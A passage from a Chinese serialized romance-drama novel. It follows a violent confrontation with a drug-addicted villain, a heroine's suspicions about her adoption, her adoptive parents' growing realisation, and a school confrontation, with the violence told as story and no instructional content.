王亚光已经自顾自地开始上工具了,打开锡纸倒入粉末,伸胳膊递过来,“尝一口,你想知道什么我都告诉你,不然今天这个门你进了就别想出去。”说完从身后掏出手枪,又朝他歪嘴一笑,黄牙稀疏嘴里溃烂一片。
路泊汀没搭理他手里的枪,只是突然问他几点了。
“别和我搞那些小聪明,乖乖吸。”
“说一下时间我再吸。”
王亚光看他面不改色地拿起那片盘起的锡纸,走近,枪顶住他的后脑勺,从兜里取出手机给他看。
路泊汀瞥了一眼时间,他进房子已经20分钟了。
锡纸里的粉末颜色冷白,不太纯的样子,指尖拨弄锡纸边沿,发出啪嚓的簌簌声。
他开始扭转主场。
指了指床头的相片,是王亚光和一个女人年轻时的合照,“这是你爱的女人吗?”
紧压在脑后的枪微微一空,王亚光还没来得及说话,他又开口了:“你杀了她?”
“别废话,吸!”枪口猛然怼准路泊汀的太阳穴,梆硬的触感鬓角一阵绞痛,手里的锡纸放回桌上,转身面对他,身高压制视线临视,“你杀了她,为什么呢?”
王亚光咽了咽口水,屏气慑息下脸色微微发白,手上的枪无意识下垂。
“让我猜猜……”路泊汀突然伸手扣紧他的肩膀,弯腰盯他,“因为她是你大嫂,她爱的人是你哥。”
说完不等他反应,戏谑一笑又重复道:“她爱的人是你哥诶。”
王亚光身体猛地一抖,像是触发了身体某个机能,枪柄狠狠砸向他的脸,神情癫狂:“你闭嘴!!闭嘴!!!”
路泊汀飞快偏头,枪身擦过太阳穴。
操,差点毁容了。
为了继续激怒他,路泊汀扯过他堆在床上的衣服,一扫,桌上的粉末和玻璃器具全部被抡到地上,衣服盖在那堆粉末上面,鞋尖用力碾磨,声音接着徐徐响起:“火是你放的吧,你不惜为了得到她,”他扯唇一笑,“你还烧死了她。”
王亚光忽然扑到他身上,两人倒在地板上,他伸手掐向他的脖子,指尖泛白指下用力绞紧,嘴里嘶叫不止:“我没有!我没有!!”
路泊汀蹙眉,伸直脖子,膝盖迅速顶向他下 体,翻身,两人换了方向,王亚光立马被压在身下,路泊汀的脖子被掐的暂时失了声,伸手飞快从他裤兜里抽出照片,喉咙滚了滚,继续哑着声音起衅:“你不止杀了她,你还杀了你爸,最后你还被你哥抛弃,”随即继续坏笑,“你好失败啊哥,一无所有。”
王亚光红着眼一拳猛然挥过来,正好打在他的眼尾。
妈的,真毁容了。
路泊汀快速起身,捡起钱夹,又拿起那本相册从二楼扔到楼下,回头拿起他掉在地上的枪,抽出弹夹,果然是空的。
从王亚光抽出枪动作打颤地顶在他脑后,他就知道这废柴没怎么用过手枪。
丢掉枪绕着他的周身开始咒念:“你就应该去死,你的存在就是多余的,还有……”弓腰对上他的眼,嘴角调笑,“你被他们全部抛弃喽,你就是垃圾。”
王亚光这会全身都在发抖,冷汗顺着发隙冒出,呼吸闷滞,半天喘不上气,他听见他的声音回荡在耳边,时远时近,模糊如梦境,像以往梦魇中有一道逃不出也拗不过的诅咒:你就应该去死。在耳边吹出的热气像湿虫爬过皮肤,从头顶蠕动到脚底,黏液如罗网禁锢他的手脚,想动也动不了。
路泊汀开始加猛料,拿过床上的精神疾病类药瓶,睁大眼有些吃惊,又了然似得扬眉:“原来,你真的有病。”
王亚光开始崩溃的大哭起来,嘴唇大张,四肢扭曲伸开,嘴里不断哭喊:“我没有……我不是!!”
药瓶丢他身上,路泊汀单腿曲起蹲在他面前,神情悲悯地瞅他:“你被帮派踢除和你的病有关系么?”又惋然一叹,“你好可怜啊。”
王亚光已经处在发病的躁狂状态了,他的情绪不受控地被击溃,胸口剧烈起伏,胳膊不停地乱挥,嘴唇颤抖发白,一双浑浊的眼睛死死狞视他。
路泊汀用脚踢了踢他,低声问:“黎雨现
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在在哪里?”
王亚光突然捡起地上的枪又扑向他,路泊汀的后脑猛然撞地,耳侧就是那一堆玻璃渣,大脑一阵发昏,他咬紧牙强迫自己清醒,王亚光骑在他身上,目眦尽裂神情疯癫,手里的枪柄不断砸到他脸上,嘴里混沌不清:“我今天就杀了你和那个小婊子!如果不是你,如果不是你……”
说完丢掉枪又死劲掐他的脖子,眼泪鼻涕全涌了出来,像魔怔了一样又哭又笑,“如果不是你!她就是我的!!”
路泊汀被掐得脖子和太阳穴青筋暴起,耳根泛紫脸颊红胀,他微仰头,手紧扣他的手腕向外扯,脖子留出空隙,嗓音失声一样断絮发出:“黎雨在哪?”
“我要杀了你们!你以为你跑到旧金山就完事了吗?你欠我一条命!”王亚光又一拳砸到他脸上,随即捡起地上的绳子缠他脖子上,手下用力收紧,“王建安!你以为你改了名字我就找不到你吗?那个小婊子我当初就不该放过她,亲眼看到自己的女儿被我强 奸致死是什么感受?”说完又仰起头哈哈一声癫笑。
路泊汀听到强 奸两字,两手遽然扯近他的衣领,胳膊一偏,他的头猛地砸向旁边的地板,发出钝沉的响声,大腿上抬顶开他,王亚光被推到一旁撞向柜子,鼻血当即冒了出来。路泊汀面无表情地扯掉缠在脖子上的绳子,喉咙疼的说不出话,他在王亚光没反应过来时,又快速给了他一拳,骑在他身上时捡起旁边盖毒品的衣服蒙到他头上,两个膝盖顶夹住他的下颚,拳头电掣星驰般砸他脸上,肉 体撞击响声嗡隆。
“我先让你死。”
一手锢住他的脖子,另一只拳头依然电火行空地抡在他脸上,衣服下的王亚光死命挣扎,胳膊举在半空乱挥,“一命还一命,要死一起死!”
路泊汀被他在空中蹭了一拳,嘴角血渍流出,喉咙短时间喘不上气,眼前也是模糊一片,他微喘了一口气,两手掬起他的头急遽向下猛击,又问了一句:“你□□了她?”
膝盖顶在他胸口,不给他缓气的机会,衣服袖子快速绕过他的后脑勺,又在耳侧打了个死结,伸手缠紧衣服的领口,王亚光被彻底包在衣服里,扑面而来的窒息感让他心里一慌,两条腿疯狂乱蹬,路泊汀重新扣起他的脖子又狠劲向下一磕,“你强 奸了她?”
王亚光喘不上气,他常年吸毒心肺功能本来就不好,这会全身冷汗直冒,他伸手在空中掐他,被倏尔躲开,路泊汀反手拧向他的手腕,手掌粗暴一转,他的手腕立马软趴垂下,“啊……!!”
“你□□了她?”声音很轻也很低。
王亚光感觉他真的在下死手,疼得飞快摇头,“没有没有,未遂未遂!”
陈东突然闯了进来,看到扭打在一起的两人,惊惶道:“快走!那些人聚会结束在赶来的路上了!”
路泊汀让他去拿王亚光的手机,他的通讯录里还存着王亚兴的前手机号,起身又一脚踹到他脸上,声音破碎喑哑:“你他妈敢动黎雨一根指头我让你死无全尸。”
王亚光躺在地上蒙进衣服里大口喘息,他慢慢爬到柜子前……
路泊汀陈东下楼后先是快速整理了地上的相册和手枪,打开门,陈东先出了门,楼梯口忽然出现一道粗重的喘息声,之前观星的那张合照很碰巧从手里掉落,路泊汀侧身去捡时,胳膊猛不丁擦过一片烧心的灼痛,抬眼看去,王亚光手里举着一支打猎的步枪正对准他。
来不及想,快速拾起照片带上门,门立马被扫射一片,陈东看到他抱着胳膊脸色煞白地坐进车里,瞪大眼睛问:“刚才打的?”
路泊汀的袖口被血染湿,血水不成型地顺着胳膊淌在手背上,又成摊滴到座椅上。
手指微微发颤,照片放进钱夹后,声音彻底哑了:“先开车吧。”
51. 发觉
周六温声起了大早,背着装满学习用具和生活用品的大书包,手里拎着摄影包就直接去了江乐橙家,出门前姚书文还问了一句怎么不让李叔送,她含糊解释了一嘴。
主要是觉得和他呆在一起很怪异。
她蹲在江乐橙家小区外的便利店门口,边等她边给路泊汀发消息。
声声怪:我记得你还没给我道歉呢。
之前在渭元镇他惹哭自己,说好的道歉影儿都没有。
手机没消息,江乐橙也还没出来,她觉得无聊捡起一旁的石子丢来丢去的,突然想起一年前的那封信,贺厉说是路泊汀设的局,可是……
理由呢?
从宁湾拿回来的鉴定报告她又拿去鉴定中心确证了基本属实,那她不是路家的女儿这点也没假,上河福利院再落后也算是政府单位,而路家从老一辈就是头面人物,无意寻错人这种差失基本不可能发生。
那就是有意为之。
但能在路康和姚书文眼皮下起心行事还能钻空子的亲近人,就只有……
李叔。
温声盯着手里的石头上面的不规则纹理,一圈绕着一圈,指腹下压,触感透凉。
她突然想起几天前在车上他突然的推问和递水瓶时的凝觑目光。
身后便利店的感应门不断被推开关上,冷气从衣服下摆钻入,顺着腰际侵上后背,又猛然袭向头皮。
一年前知道自己不是路家女儿的惊慌感再次横生。
而且,这次更恐骇。
“阿声!”江乐橙背着包从小区大门跑出来。
温声又看了一眼手机,他没回。
江乐橙拉起她的胳膊,“你怎么啦?脸白生生的,很冷吗?”
丢了石头,压紧羽绒服的下摆,她浅浅一笑:“有点冷,买杯热豆浆再走吧。”
坐了将近两个小时的班车终于到了上河汽车站,一下车附近马路的生土味就扑鼻而来,路上时不时飞过一辆电瓶车,汽车站出口堆了一群拉人的私家车司机,四周没什么商铺,只有一家开在角落的唐老鸭汉堡店,花花绿绿的牌子上积了一层暗色油垢。
陈旧村俗又布满童年感的一家老店。
江乐橙掩鼻小声道:“你确定要吃这家吗?感觉不太干净的样子。”
两人站在窗口,温声点完餐同样小声回她:“这可是我小时候一个月才能吃一次的大餐。”
甚至,有时候半年都不一定能吃到。
“你小时候好可怜啊声声,快来抱抱。”
温声捧着手里的草莓圣代先让她尝了一口,果酱和糖精的科技感拉满,江乐橙实在没咽下去吐到了旁边的垃圾桶里。
舀了一勺送进嘴里,很甜,“小时候睡同铺的女孩经常和我分享她的圣代,一杯冰淇淋她会让我先吃最上面的果酱。”温声又挖了一大勺,“所以我一直叫她酱酱。”
江乐橙看她吃完了大半杯,抿唇问:“你们后来还有联系吗?”
温声用小勺子刮净杯底的奶油,又用手指摸了摸塑料杯沿,微微摇头:“我甚至都忘记了她的名字,只记得她很爱穿红色的衣服,而且穿起来很漂亮,救助站定期会收到一些衣服,照顾我们的阿姨会专门挑出红色的衣服送给她。”
哪怕记忆模糊到只留下一点渺不足道的光影。
但足够鲜丽深刻。
到福利院时已经是中午,在门卫处登记后,温声轻车熟路地带江乐橙从侧门上了二楼,那个大书包也随即交给了护工,因为是以公益性质为由的拍摄,她被允许可以拍半个小时。
福利院重新装修过,器材设施都换了新,不变的是每个小教室都有一张大圆桌,在温声架相机时,江乐橙视线很小心的移过坐在圆桌周围的小朋友,这是一群残障弃婴,不是听力视力智力障碍,就是肢体残疾,在对上他们清澈纯净又小心翼翼的目光时,她的呼吸一轻。
这就只是一群孩子。
温声拿出提前准备好的稿子,让她帮忙转换镜头时尽量不要拍到他们的正脸,稿子上面的问题很少,今天拍摄的目的很简单,只记录不过多干涉。
护工引导小朋友们在教室里做活动,温声半跪在地上听他们嘴里碎碎念在院里发生的小故事,有开心的小惊喜也有酸涩的小委屈,虽然他们的身体上有或多或少的残缺,但每个孩子心思都很细腻灵巧,像午后阳光从地面映入静谧的楼道,上面的楼层依然昏暗,但只要有人经过楼梯,就能从拐角的狭小空隙中看到楼下渗进来的光芒。
只要你经过,只要你稍微留意,你就可以发现他们身上的闪光点。
江乐橙小心地转换手里的镜头,又留出神看温声,她身上的浅色裤子蹭到地板上,也不在意膝盖脏不脏,偏过头很认真地和他们对视,听他们磕磕绊绊地口述那些曾经也发生在自己身上的故事,虽然她说只记录不干涉,但是共情到酸心处又不受控的红了眼圈,她吃过一块钱一杯的草莓圣代,穿过别人不要的破旧衣服,和很多女生一起挤过一张不那么宽敞的床,在福利院受了委屈只能半夜窝在枕头里无声地掉眼泪,她两是从小学一起走过来的,有次她问温声,你后悔在福利院呆的那几年吗?
她当时笑的很开心,很快地摇头:“我超幸运的,最起码我身体很健康。”
江乐橙算是很了解温声,她表面看起来娇纵疏离,但内心柔韧善良,也很敏感脆弱。
无论未来两人分别在何处,江乐橙都希望她最好的朋友可以被柔软的善意一直包围。
半个小时的拍摄时间过得很快,她两留下来当了一下午的志愿者,直到下午六点为了赶班车才结束,在教室门口,温声又拍了一张私留的大合照。
两人在福利院旁边的公交站等车,江乐橙替她拍了怕膝盖的灰随口问道:“阿声,你以后想做什么工作?”
“记者。”
“没了?”
温声手里正在缠相机包的袋子,缠好后看她,歪头想了想:“或者摄影师。”
江乐橙手指抵着下巴又问了一句:“为什么呢?”
她伸出胳膊抽开袖子,手腕处是一个聋哑小朋友用圓珠筆画的表,画的很丑很粗糙,但她很喜欢:“想替他们说话,替他们做一些能做的事。”
弱势群体可能什么都没有做,但他们势孤力薄的困境会在无形中加剧。
而她不想只成为稍加留意的过客。
两人正聊着天,福利院的大门打开,一辆很眼熟的跑车开了出来。
温声快速躲在江乐橙身后,探出半个脑袋盯过去。
这不是庵加河的车吗?
她凝眸又仔细瞧了瞧,副驾还有何让生。
这两人为什么会来福利院?
何让生瞟向车外,凑趣一笑:“完了啊,路子要完了。”
庵加河顺着他的视线看过去,温声正直盯盯瞅着他,他嘴里还咬着烟,一个没撑住,烟掉到了腿上。
这他妈哪是完了。
是彻底完了。
大脑快速过了几十几百种点子,最后摁灭烟打着方向盘开到她们面前,车窗降下笑的一脸斯文:“好巧啊妹,上车送你们回家。”
幸亏今天开的是四座。
温声没动,当着他们的面掏出手机,路泊汀是两个小时前回的消息,美国凌晨四点多还没睡他在干嘛?
她重新看向车内:“你们来上河有什么事吗?”
庵加河一时语塞,何让生这个花孔雀救场了,他长指随意拨弄起十字架耳环,金属触
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碰发出清琅声,又弹了弹手里的烟灰,一副这烟好他妈难抽的淡定狗样子:“我来找我未来老婆。”
……
庵加河低咳一声。
他就该录音的。
温声又看了他两一瞬,随后偏头示意江乐橙上车:“先送我朋友回家吧。”
据庵加河事后回忆,这是他开过最憋屈的一次车,只要抬头就能感受到来自后座的一道直溜溜的注视。
也不管路泊汀有没有睡觉,和何让生站在怡翠苑门外的石板路上边抽烟边拨了通电话过去,半晌,那边刚接通电话。
庵加河先发制人:“给老子赔偿精神损失。”
刚睡没多久的路泊汀:“?”
何让生嫌他说话费劲夺过手机,直言直语道:“你老婆察觉了。”
路泊汀坐起身,手指撑压太阳穴,“我老婆察觉了你高兴个什么劲?”
何让生只好嘴角微敛,“温声的领养档案消除了,但这只是暂时的,你不想温志强找到她的唯一办法就是让他消失。”
庵加河勾走手机,“我说你什么时候回来?最近忙你的事我老婆是彻底没影了。”
路泊汀没睡好头疼的想和这两人干一架,他声音还没恢复过来,又沉又哑:“我下周回。”挂断前又提了一句,“盯着点,我回来前温志强不能和路家的任何人见。”
挂断后,两人又在路灯下抽了支烟,庵加河觉得人生挺没意思,侧头问了一句:“你不是有老婆吗?”
他记得三人里就他老婆还没定吧?
何让生往他身上弹烟灰,扯唇一笑:“关你屁事。”
庵加河淡笑地抽完烟,在回车的路上往他的小腿狠劲踢了一脚。
*……*
李樊和温志强定在郊区的一间马场见面时,温志强一脸不满:“你最起码在市里请我吃顿饭吧?”
李樊翻开钱包取出一张卡丢在他面前,语气不耐:“这里有十万,拿上立马离开江城。”
温志强抠紧手里的卡,身上还穿着工地工作服,和他的西装革履格格不入,讷声道:“我现在又没犯罪,堂堂正正的留在江城有什么错?”
“我再说一遍,钱拿上就立马离开。”李樊面色冷峻,手指着他,“你别害我。”
“我这才刚出狱没多久,害人的想法可一点都没有啊大哥。”担心他不信,温志强手掌拍了拍身上的黄色马甲,声音邦响。
李樊冷笑,一副恨铁不成钢的样子:“我也可以照样把你再送进去,话就说这些,你明天就走。”
整了整衣领打算先离开——
“我女儿你有音讯吗?”
脚步猛地一停,李樊没回头,口吻生硬却有几分嘲弄讥诮:“你什么时候有女儿了?”
目光眈着他开走的车,温志强立马掏出手机查车头有两个R的是什么车——
他瞪大眼睛数了数报价,当即拦下一辆出租车紧跟了上去。
自己开的豪车给他就一张十万的卡?
李樊开进怡翠苑时都没注意到身后的尾巴,出租车只能停在外围的临时停车位,温志强眯眼细看这片园林住宅区,司机从头到脚又打量了他一眼,摇头道:“这里面住的都是一些上面的人,有权有势咱惹不起。”
温志强冷嗤一声:“放他妈狗屁。”
车子开出南门主干道时,迎面又开来一辆出租车,温志强拉下车窗本来还在观察这片区域,结果视线往旁边擦过的车里一转。
坐着个眼睛吊俏皮肤白白的姑娘。
他立马扭头重新看过去。
这不是前几天晚上喝酒后多管闲事的那姑娘?
温声的余光察觉到有人一直盯自己,也没回头,让司机开快点。
52. 对峙
进门后,停好车的李叔也刚好走进来,路康近期都在国外,姚女士一早就出了门,刘嫂正在庭院里浇花,室内这会没人,李叔站在门侧准备拿了包就回家,温声思索后叫住了他,他顿然片刻,转过身看她。
眼神平定,没有之前在车里对视时的隐然琢磨。
温声眼睛快速瞄过他。
五官没有一处是像的,她见过他太太,她两更是不像,而且她的第六感确信李樊不是她的生父。
但就是,哪里很不对劲。
“小时候在福利院说我是路家女儿的人是你,领我回路家的人是你,就连我每次生病在医院打理的人也是你。”她盯紧他,口吻追逼,“但我和我爸妈包括路泊汀的血型不一致,你以前为什么要隐瞒他们?”
家里每年都会体检,唯独她的体检报告每次都是他最后交给姚书文,在收到那封信后,她自己又跑到医院重新查了血型,虽然早就知道对不上。
但刻意隐瞒的那个人为什么是他。
李樊静身站定默然不语,然而温声看到他抓着包的手在收紧。
所以,问题就是出在他身上。
知道她查过了,李樊重新放下包,笑意惬当,语速不紧不慢:“你只要记住你是路家的女儿就行,其他的事不重要。”
不重要?
好一个不重要。
“我和你有什么关系?”
他依然不慌不忙:“没有。”
“你有其他兄弟姐妹吗?”
李樊看了她一眼,又低眼:“没有。”
四周出奇的安静,温声能听见外面水管车在石板路上滚动的咕噜声,能听见水洒一圈一圈喷在绿坪上的淅沥声。
还有自己的耳边被无限放大的嗡鸣声。
半晌,她才说了一句:“你认识我亲生父母。”
没有失惊不安,平静的语气里给他下了笃。
李樊不说话了,面不改色下鼻息些微发沉。
温声盘腿坐在沙发上抬眼看他,目光如炬,身体慢慢前伏,凝着他突然哼笑一声:“你不怕吗?”
轻飘飘四个字,转了个弯的不露意图,却当即蹂溃他的故作从容。
被路家查到可不止坐牢这么简单。
包括她自己。
李樊嘴唇动了动,楼梯间却冷不防有了声响。
看到姚书文出现在楼梯口的那一刻,温声觉得呼吸都停了,心脏被粗重的闷窒感绞紧,疼的她喘不过气,整个身体不受控地开始发抖,眼泪也不由自主地冒了出来。
但在所有一瞬间的情绪里,没有茫然失措,没有惴惴不安。
更不想托词辩白。
只有对最终凌迟的无法挣脱和疲软无力。
姚女士抱着一只小小的西高地下楼,她还披着一身睡袍,好像刚休息好,眉眼温淑,一头蓬松卷发随意垂在胸口,看到他们时略为惊讶,走过来后手里的小狗轻轻推向她怀里,浅笑道:“妈妈给你挑的,圣诞礼物。”又低头看她,上手抚她的眼睛,“怎么哭了?”
看向李樊:“发生什么事了?”
李樊迅速整理好心情,拿起柜子上的包,微微一笑:“我的失职,今晚没有送阿声回来,她的东西落在出租车上了。”
温声鼻尖发酸,目光直直盯向他,看他替自己解释,看他一脸了无惧色,看他的道貌岸然。
如果不是他,她可能还在福利院过无父无母的穷苦生活,可如果不是他,她就没有负疚,也不用对反转的命运觉得不公,更不会对自己产生厌恨怀疑。
李樊还想说什么,姚书文突然抬手,让他直接离开。
面色少见的冷淡。
他只好颔首示意推门走了出去,临走前又看了她一眼。
温声抹了把眼泪,姿势有些僵硬地抱着那只小狗,是她很喜欢的品种,肉乎乎的绵软肚皮贴在她的手心,因为还很小,姿势蜷成一团努力拱进她怀里,两只粉嫩的圆耳朵耷拉下来,湿蒙蒙的黑亮眼睛半睁不闭的,一副马上要睡过去的迷瞪样子。
姚女士坐在她旁边,先是摸了摸她的头发,又勾弄起她怀里的小狗,“它是女宝宝,给它起个名字。”
一切好像平风静浪,温声悄然吸了吸鼻子,平复好情绪后轻声道:“想叫它耳朵。”
耳朵可以听声音。
汀声。
耳朵用小脑袋贴了贴她的衣服,很乖的一只小狗。
姚女士挑眉,食指轻触它湿漉漉的鼻子,“欢迎耳朵有了新的小主人。”转头又看向她,缓声问:“刚才怎么了,和妈妈说说吧。”
温声有点支不住她的眼神,婉和清明的视线下满是直截明锐。
但现在还不是时候。
在路泊汀还没回来前,在她还没搞清李樊背后的那个人前,还不能说。
而且他这次去美国很大可能是和这件事有关系,姚书文和路康目前没什么动作,应该是还没觉察。
她垂头摸耳朵身上的毛,手感很蓬松,呼吸平稳尽量让自己看上去若无其事,“我很喜欢的一枚戒指丢在出租车上了,而且现在没有卖的了。”
姚女士摇头轻笑,戳她的脸蛋,一脸宠溺:“这种小事不值得哭的乖宝。”
摘了中指的戒指戴在她手上,是姚家流下来的民国老物件,一枚四爪排戒,主石是一圈细钻镶边的蓝宝石,之前一线的拍行估值有八位数,但她一直都戴在手上。
“本来想等你嫁人时再送的,看你哭的这么可怜,妈妈就先给你喽。”说完像路泊汀一样用手指轻刮她的鼻尖,“所有的问题都可以想办法解决,但不要为已经发生过的事浪费情绪。”
温言眷注里是满满当当的母爱。
温声没忍住又红了眼圈,她不断吸气呼气,想用力压下全身泛起的酸涩,但越克制胸口就越疼,那枚异常华彩精粹的戒指,和她的中指很贴合,但……
她是假的。
格外小心地取下戒指,没有抬头看她,温声想和平时一样大大方方笑的,但现在怎么样她都笑不出来,只能嗫嚅出声:“妈妈,我不太适合戴它。”放在她的手心,又是小声一句,“对不起。”
姚书文定睛看了她一瞬,微微偏头,瞥见她领口的项链,是她以前在日本给路泊汀求的,女儿被拐后她一度患有心病,很长一段时间她连下床都困难,一岁半的路泊汀有一次爬到她的身边想要贴着她睡,嘴里含糊不清地喊妈妈,他还不会说很多话,但性子从小就淡,许是感受到妈妈的冷淡,自己一个人又慢吞吞地爬到床尾。
结果手一滑,从床上掉了下去。
那一晚她坐在地板上抱着他边哭边哄,路康一个大男人跟着坐在她身旁掉眼泪,只有路泊汀额头摔出个包偎在她怀里不哭不闹的,从那之后夫妻两就做了个决定,女儿要继续找,但生活的重心要转移到儿子身上了。
姚书文坐直身子问:“是李叔说什么话了吗?”
温声拼命摇头,随手抽了张桌上的纸擦眼泪,哑声道:“只是今天不太开心,怎么样……”她嘴唇微颤,眼泪又滚了下来,“都开心不起来。”
怀里的耳朵好像彻底睡着了,一动不动地趴在她腿上,只能感受到它细微的呼吸起伏,她的眼泪不小心掉到它身上,在它没反应过来时,手指快速拭过那块潮泞的绒毛。
没有吵醒它。
姚书文掏出手机一副要打电话的样子,温声看到是要打给路泊汀,连忙伸手去拦:“妈妈,不用打给哥,和他没关系。”
凝了她一眼,锁屏。
手机放到一旁,姚书文重新给她戴上戒指,“等你想说的时候妈妈随时都在。”又拍了拍她的头,“回房间休息吧,一会刘嫂做好晚饭再下来。”
温声只好抱着耳朵起身,红着眼睛又失神地说了句对不起。
盯着她上楼后,姚书文当即给路康拨了通电话过去,直截了当地说:“儿子女儿还有李樊,一定有事瞒着我们。”
路康那边是凌晨,他开了一天的会刚躺下没多久,听见老婆这话脑子清醒了一些,坐起身两人开始分条析理。
“李樊为什么会和他们牵上关系?”
“关键是他们三个能有什么事情是一定要瞒着我们的?”
路康给自己倒了杯茶,脑子是彻底清醒了
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,“不能被我们知道,那就是害怕被我们知道,可我们对孩子的底线很低啊,他们怕什么?”
姚书文斜靠在沙发上,手指细细揉摩太阳穴,“你儿子去美国后消失了两天才给我回的视频,好像打过架脸上都是伤,问他舅舅是一问三不知。”
路康对路泊汀处于放养状态,只要别做出格事他就不多管,“阿声和李樊怎么了?”
“两人的态度不对,我在楼梯上听到阿声问了一句你不怕吗?这种话平时没见她对长辈说过。”
路康放下杯子,想了想,“那问题就在于李樊。”
姚书文缓缓摇头,“我总觉得还有其他事,你儿子脖子上戴的那串平安扣现在给了阿声,而且我刚才假装要给他打电话,阿声显得很慌。”
她又想起几天前看到的吻痕,当天晚上他们两人回家时行为很亲密,她问他阿声是不是有男朋友了,他的回答也很模棱两可。
脑海中的许多思绪都很清晰显明,但,她无法细想。
也不敢细想。
路康直接挑明:“你的意思是儿子和女儿之间有问题?”
姚书文轻呼一口气,夫妻两隔着电话都沉默了,还是路康先开的口:“可是跟李樊有什么关系?”
问题就出在这里。
“儿子和女儿的关系有问题,但扯上了李樊,为什么?”
路康重复她的话,语速很慢:“扯上了李樊,儿子和女儿的关系才有问题。”
电光石火间,两人同时出声:“所以女儿和李樊有关系。”
而且这种关系,和儿子甚至和他们俩,是对立的。
姚书文用力揉额头,脑海中那些原本很明晰的思绪突然被打乱,“他们两能有什么关系?”
路康的睡意全没了,这会倚在床头忖量,“关系有始有终,阿声和李樊第一次见面是什么时候?”
姚书文眯眼回思,有股冷汗突然从头皮生出,她渐渐坐直身子,凌乱的念头在这一刻像利器猛然剐过她的神经。
两人又是心口相应:“福利院。”
有一瞬间她只觉得浑身栗栗危惧,无意识地恍惚道:“怎么可能……”
路康感觉到她情绪不对,连忙先安抚:“你等我回来后再处理这件事,我下周就回国。”
姚书文不知不觉捂住嘴巴,眼圈当即就红了,又是一声喃喃自语:“怎么可能……”
路康很少见到她这样,尤其听到她的声音都在发颤,心焦火燎地开始订机票:“我明天就回来,你……”
手机掉在地上,她还是直立坐姿,背很挺,但肩膀不住地打着哆嗦。
温声下楼时看到的就是这副场景,她从没见过姚书文有情绪失控的时候,路泊汀惯有的行事自若一定程度上是遗传了她。
她小步踱过去站在她面前,不敢靠太近,也不敢和她对视,张了张口。
说不出任何话。
只能跟着她一起无声地哭。
她知道,这个时候只要她说谎就可以给目前的境地一个暂时的挽回。
但她做不到。
“妈妈……”
姚书文始终没看她,捡起地上的手机穿上拖鞋,手好像不知道放在哪里似的慌忙扶着额头,又快速捏紧睡袍的领口,有些语无伦次道:“对不起乖宝……”手掌努力按压胸口想要喘口气,接着轻声说,“妈妈只是遇到了一些事。”
两人这会都是面无血色,眼泪成顺地涌出来,温声的眼睛又红又肿,小声哽咽地又叫她:“妈妈……”
姚书文突然后退,依然没看她,声音凝噎破碎:“晚饭多吃点,我先去忙点事。”说完转身就要上楼,腿却突然一软跌在台阶上,温声跑过去想扶她,她的胳膊倏尔躲开,摇头:“不用担心。”
撑住扶手站了起来,慢步上了楼。
温声站在楼梯口,牙齿不觉地咬住嘴唇,直到渗出血丝。
一片湿雾迷蒙下,她看着她一步一步地离开,像很多年前,她从楼上一步一步走到她面前,蹲下身柔声道:“乖宝,我是妈妈。”
恍如梦境。
但她的梦醒了。
53. 见面
路康是第二天晚上到的家,手里拿着特意给老婆女儿准备的礼物,温声站在卧室门口,手指轻拨那个蓝色首饰盒的丝带,快要挑开时,又立马抽紧。
昨晚后,她就没见姚书文了,隔着门偶尔能听见刘嫂端着托盘走动的声音。她现在还不确定他们知道了什么又知道了多少,但不管怎么样……
她在路家都呆不了多久了。
路康上手揉了揉她的头发,和以往一样动作柔缓,“妈妈只是最近工作有点累,等忙完这段时间你放寒假后我带你们出去散散心。”
“爸……”手里的盒子重新递给他,温声低头盯着棉拖上面的小绒球,轻声道,“我能住校吗?”
路康这次没像以往一样立即回绝,也没接那个盒子,他回家后衣服还没换,身上的大衣挂着几丝寒气,后退了半步,又伸手拢了拢她的肩膀:“马上快到寒假了,下学期再说吧。”
离放寒假还有不到一个月。
关上门后,温声看了眼礼品盒走到床头,想拉开抽屉放进去,瞄到最里面的黑色丝绒盒子时动作一滞。
是之前路泊汀送的。
——等我高考后再打开。
他现在不用高考了,随时可以打开。
垂眼抿唇,片刻,轻呼一口气,礼品盒压在上面,又快速合上抽屉。
周五下午,江城下起了暴雪,一堂课的时间校园就蒙上了一层皓白霜雪,一群换好舞服的学生从礼堂跑去大厅外看雪,气温骤降,各个冻得身体直打颤。
温声手里捏着软糖盒靠在休息室的窗沿朝外看,空气灰沉湿朦,模糊中只能看到校门上空拉起的红色横幅。
旷荡的校园里没什么人。
糖也全吃完了。
江乐橙背着两人的书包闯进来找她,手里拎了一杯热奶茶:“喏!快喝,给你加了好多料。”
温声举起小拳头和她一碰,甜甜一笑:“你对我也太好了。”
江乐橙给了她一个不然呢的小表情。
“你哥是今天回国吗?”
戳入吸管用力吸溜一口,嘴巴被珍珠椰果塞得满满登登,温声有些口齿不清地回她:“不知道,飞机可能会晚点。”
他凌晨发来一张登机口的照片就关机了。
江乐橙捧着她的小脸看妆扮,头发松散地缠成麻花辫垂在肩侧,皮肤状态很好只上了一层淡妆,室内没开大灯,身后的镜前灯正好斜照过来,细柔的光线打在她的脸上,衬得五官的形影明暗交织,一张小脸俏丽又姣美,江乐橙支起她的下巴,那双上扬的明澈浅瞳微微睁大对上她。
“需要补妆吗?”
江乐橙脑子里下意识就飘过春光明媚星眸皓齿几个字。
温声的漂亮毫无争议。
她又上手在她耳侧挑出一些碎发,咧嘴调笑:“今天超好看,路草看到你绝对会狠狠心动。”
温声低头又喝了一口奶茶,心跳有些快,他两都大半个月没见了……
休息室的门突然被粗暴地推开,门框弹在墙上又快速扑回去。
唐媛伸手抵住门,她被教导主任请了家长还写了保证书,舞蹈大赛也被取消参赛资格,这会丝毫不顾周围换衣服化妆的同学,指着温声破口滥骂,摆明了就是要给她难堪:“姓温的,你让你那个哥以后少他妈给我爸打电话,哦不对,应该说是你……”声音骤然变大,“同!爹!同!妈!的!男!朋!友!”
尖细刺耳的声音贯在满是人的走廊,有些人不明所以地探头朝里看,江乐橙想挡在温声身前,被她拦住。
温声重新靠回窗边,手指细摩软糖盒的金属外壳,落落坦荡的目光直视她,一字一句清通明晰:“第一,是你唐媛校园暴力我在先,是你处处针对挑衅我在先,我好言提醒过是你自己不珍惜机会,而且以上发生的所有事情我可以自证。再有下一次我会直接报警。第二,我的恋爱关系不需要向任何人解释,我和我男朋友大大方方谈恋爱,没有违背所谓的道德伦理。”她离开窗沿站直身子,“我想问问你,有何不可?”
江乐橙心口一酸,想说话,又听见她继续说:“你不用花时间整天盯着我不放手,”她的声音很淡,“因为你永远都入不了我的眼。”
四周陷入悄然。
温声说完后穿上挂在衣架的舞服,挽着江乐橙的手从她身边擦过,喝完的奶茶纸杯扔进她面前的垃圾桶,半分视线都没落给她。
